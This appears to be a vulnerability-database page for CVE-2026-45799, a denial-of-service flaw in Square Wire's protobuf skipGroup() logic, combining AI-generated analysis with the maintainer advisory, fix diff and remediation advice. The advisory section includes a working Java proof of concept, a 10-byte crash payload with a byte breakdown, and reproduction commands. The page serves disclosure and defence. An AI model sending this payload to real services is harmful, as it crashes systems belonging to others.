Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify endpoint decoding protobuf with Wire
-
DeliverySend 10-byte crafted START_GROUP payload
-
ExploitTrigger negative-length skip in skipGroup()
-
InstallPosition underflows to negative index
-
C2readByte() throws ArrayIndexOutOfBoundsException
-
ExecuteUnchecked exception escapes IOException handler
-
ImpactRequest handler or service crashes
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Array index validation
|
| Exploitation Conditions | The target service must decode protobuf payloads from untrusted sources using com.squareup.wire:wire-runtime <= 6.2.0, com.squareup.wire:wire-runtime-jvm <= 5.3.3, or Wire 7.0.0-alpha01/alpha02, AND must invoke ProtoAdapter.decode() (or equivalent ProtoReader path) on attacker-controllable bytes. No authentication, no user interaction, and no knowledge of the service's protobuf schema are required because skipGroup() processes unknown wire-type-3 fields (e.g., field 99 with START_GROUP) regardless of the declared message type. The primary limiting factor is application-level exception handling: services that already catch broad RuntimeException (rather than only the documented IOException) around decode calls will surface a handled error rather than crash, reducing impact to a single failed request. Exposure is limited to JVM/Android consumers of Square Wire - non-Wire protobuf implementations (Google protobuf-java, protobuf-kotlin, etc.) are not affected. |
| Impact | CVSS 7.5 with vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H accurately reflects a high-impact availability-only flaw: network-reachable, no authentication, no user interaction, and complete loss of availability for the affected handler. The Denial Of Service tag and CIA breakdown (C:N/I:N/A:H) confirm this is not RCE or data exposure. Real-world impact depends entirely on whether the affected service exposes a protobuf decoder to untrusted input - a common pattern in gRPC backends, mobile API endpoints, and message brokers. No EPSS score, KEV listing, or SSVC decision was provided in the input data, so widespread exploitation cannot be confirmed; however, the 10-byte payload, no auth/schema requirements, and published reproduction in the GHSA advisory make weaponization trivial for any motivated attacker. The most significant under-stated risk is the legacy artifact com.squareup.wire:wire-runtime-jvm (5.3.1, 5.3.3) which will NOT receive a patch - organizations pinned to that coordinate carry permanent exposure unless they migrate. |
| Exploit ScenarioDerived | An attacker sends the 10-byte payload 9b060a80ffffff0f9c06 to any network endpoint that decodes protobuf using a vulnerable Wire runtime - for example a gRPC service, a mobile API backend, or a Kafka consumer. Because skipGroup() handles unknown fields without consulting the message schema, the payload crashes the decode call with an unchecked ArrayIndexOutOfBoundsException regardless of the expected message type, propagating up through the request handler. Repeated sends from a single source can keep the handler thread or service crash-looping; the GitHub advisory provides a working Java PoC (WirePoc.java) demonstrating the crash against wire-runtime-jvm 5.3.3. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 19, 2026
Denial of service in Square Wire protobuf library (com.squareup.wire:wire-runtime before 6.3.0) allows remote unauthenticated attackers to crash any service that decodes untrusted protobuf payloads by sending a 10-byte crafted message. The flaw stems from missing negative-length validation in skipGroup(), causing an unchecked ArrayIndexOutOfBoundsException to escape Wire's documented IOException boundary. No public exploit identified at time of analysis, though the GitHub advisory includes a full reproduction payload and Java PoC code.
RemediationAI
Vendor-released patch: upgrade com.squareup.wire:wire-runtime to 6.3.0 or later, which adds the missing negative-length check in both ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() (see PRs https://github.com/square/wire/pull/3595 and https://github.com/square/wire/pull/3597). For Wire 7 alpha users, upgrade to 7.0.0-alpha03 once available or build from a master commit containing the fix. Users still on the discontinued com.squareup.wire:wire-runtime-jvm (including 5.3.1 and 5.3.3) must migrate coordinate to com.squareup.wire:wire-runtime:6.3.0 since no backport will be issued. As a compensating control until upgrade, wrap ProtoAdapter.decode() calls in a broader catch block for RuntimeException (not just IOException) to convert crashes into handled errors, accepting the trade-off that this masks other genuine runtime bugs; alternatively restrict protobuf decoding endpoints to authenticated peers or place a size/shape-validating proxy in front of decoders to reject payloads containing unknown group fields, at the cost of breaking legitimate forward-compatibility use of unknown fields.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 4 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Wire is Square's Kotlin/Java protocol buffers library widely used for gRPC and protobuf-based service communication on JVM and Android. The root cause is CWE-129 (Improper Validation of Array Index): ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() read a length-delimited field's length as a signed Int via internalReadVarint32() without checking for negative values before calling skip(). A crafted varint encoding -128 (bytes 0x80 0xFF 0xFF 0xFF 0x0F) causes the internal position counter to underflow (e.g., pos = 7 + (-128) = -121), and the subsequent readByte() indexes the backing array with the negative position, throwing ArrayIndexOutOfBoundsException - a RuntimeException not caught by callers following the documented IOException contract of ProtoAdapter.decode(). Wire already validated negative lengths on normal length-delimited field decoding; the same check was missing only in group-skipping logic. Because skipGroup() is invoked for any unknown field with wire type 3 (START_GROUP), exploitation requires no schema knowledge of the target message type.
Know when Java gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/square/wire).
CVSS VectorVendor: https://github.com/square/wire
DescriptionCVE.org
CVE-2026-45799
Maintainer summary
Wire's protobuf group-skipping logic did not reject negative lengths before skipping a length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an unchecked runtime exception during decoding instead of the documented IOException / ProtocolException failure path.
This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures.
Affected artifacts
com.squareup.wire:wire-runtime
Affected versions: vulnerable releases before 6.3.0.
Patched versions: 6.3.0 and later.
Users should upgrade to com.squareup.wire:wire-runtime:6.3.0 or later.
com.squareup.wire:wire-runtime-jvm
Affected versions: vulnerable legacy releases, including 5.3.1 and 5.3.3.
Patched versions: none.
com.squareup.wire:wire-runtime-jvm is a discontinued legacy artifact and will not receive a patched release. Users should migrate to com.squareup.wire:wire-runtime:6.3.0 or later.
Wire 7 alpha releases
The fix has been merged to master and will be included in the next Wire 7 alpha release. Until that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with affected alpha versions or build from a commit containing the fix.
Fix
The issue is fixed in Wire 6.3.0.
The fix rejects negative lengths while skipping groups and throws ProtocolException instead of allowing the reader to move to an invalid position and later throw an unchecked runtime exception.
Credit
Reported by @TrekLaps.
Technical details
The following technical details are based on the original report, updated by the maintainers to reflect the assigned CVE, the supported fixed artifact, and the discontinued status of com.squareup.wire:wire-runtime-jvm.
ByteArrayProtoReader32.skipGroup() in wire-runtime did not validate that a LENGTH_DELIMITED field's length is non-negative before calling skip(). A crafted protobuf varint encodes -128 as a signed Int. When skip(-128) runs, the internal position counter underflows to an invalid negative position. The next readByte() accesses the source with that negative position, throwing ArrayIndexOutOfBoundsException, a RuntimeException that escapes Wire's documented IOException boundary and can crash the request handler.
ProtoAdapter.decode(byte[]) is declared to throw IOException. Callers following the documented API may catch only IOException, so unchecked runtime exceptions from malformed input can escape the expected error boundary.
The originally confirmed vulnerable legacy versions include 5.3.1 and 5.3.3 for the discontinued com.squareup.wire:wire-runtime-jvm coordinate. The supported replacement coordinate is com.squareup.wire:wire-runtime, fixed in version 6.3.0.
Root cause
In the originally reported vulnerable code path, ByteArrayProtoReader32.skipGroup() read the length as a signed Int and used it without validating that it was non-negative:
STATE_LENGTH_DELIMITED -> {
val length = internalReadVarint32() // returns signed Int and can be negative
skip(length) // no negative check
}The internal skip() implementation then accepted the negative count because the computed position was not greater than the limit:
private fun skip(byteCount: Int) {
val newPos = pos + byteCount // for example, 7 + (-128) = -121
if (newPos > limit) throw EOFException()
pos = newPos // pos = -121
}The next read could then index the source with the invalid negative position:
private fun readByte(): Byte {
if (pos == limit) throw EOFException()
return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException
}Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code.
The fix adds this validation when skipping groups:
STATE_LENGTH_DELIMITED -> {
val length = internalReadVarint32()
if (length < 0) throw ProtocolException("Negative length: $length...")
skip(length)
}The fix was applied to both ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup().
Reproduction
The following reproduction was provided for vulnerable legacy wire-runtime-jvm releases such as 5.3.1 and 5.3.3:
curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar
curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar
curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar// WirePoc.java
import com.squareup.wire.AnyMessage;
public class WirePoc {
public static void main(String[] args) throws Exception {
byte[] payload = new byte[] {
(byte) 0x9B, 0x06, // field 99, START_GROUP
0x0A, // field 1, LENGTH_DELIMITED
(byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128
(byte) 0x9C, 0x06 // field 99, END_GROUP
};
AnyMessage.ADAPTER.decode(payload);
}
}javac -cp "wire.jar:okio.jar:stdlib.jar" WirePoc.java
java -cp ".:wire.jar:okio.jar:stdlib.jar" WirePocObserved output on vulnerable versions:
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10
at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)
at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)
at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)
at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)
at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)
at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)
at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)
at WirePoc.main(WirePoc.java:10)With the fix, the same payload is rejected with ProtocolException.
Why this can affect any Wire-decoding service
skipGroup() is called for any unknown field with wire type 3. An attacker can send an unknown field, such as field 99, with wire type START_GROUP. The decoder skips it via skipGroup() regardless of which message type the service uses, so no schema knowledge is required.
Payload:
9b060a80ffffff0f9c06Payload breakdown:
0x9B 0x06 field 99, wire type 3 (START_GROUP)
0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int
0x9C 0x06 field 99, END_GROUPExecutive ViewAI
Square Wire protobuf library (wire-runtime versions before 6.3.0) contains a remote denial-of-service vulnerability affecting any service that processes untrusted protocol buffer messages. An unauthenticated attacker can crash dependent services with a 10-byte crafted message, creating availability risk for applications relying on this widely-used parsing library.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
EUVD-2026-45301
GHSA-7xpr-hc2w-34m9
NVD
CVE.org
EPSS
VulDB
Exploit-DB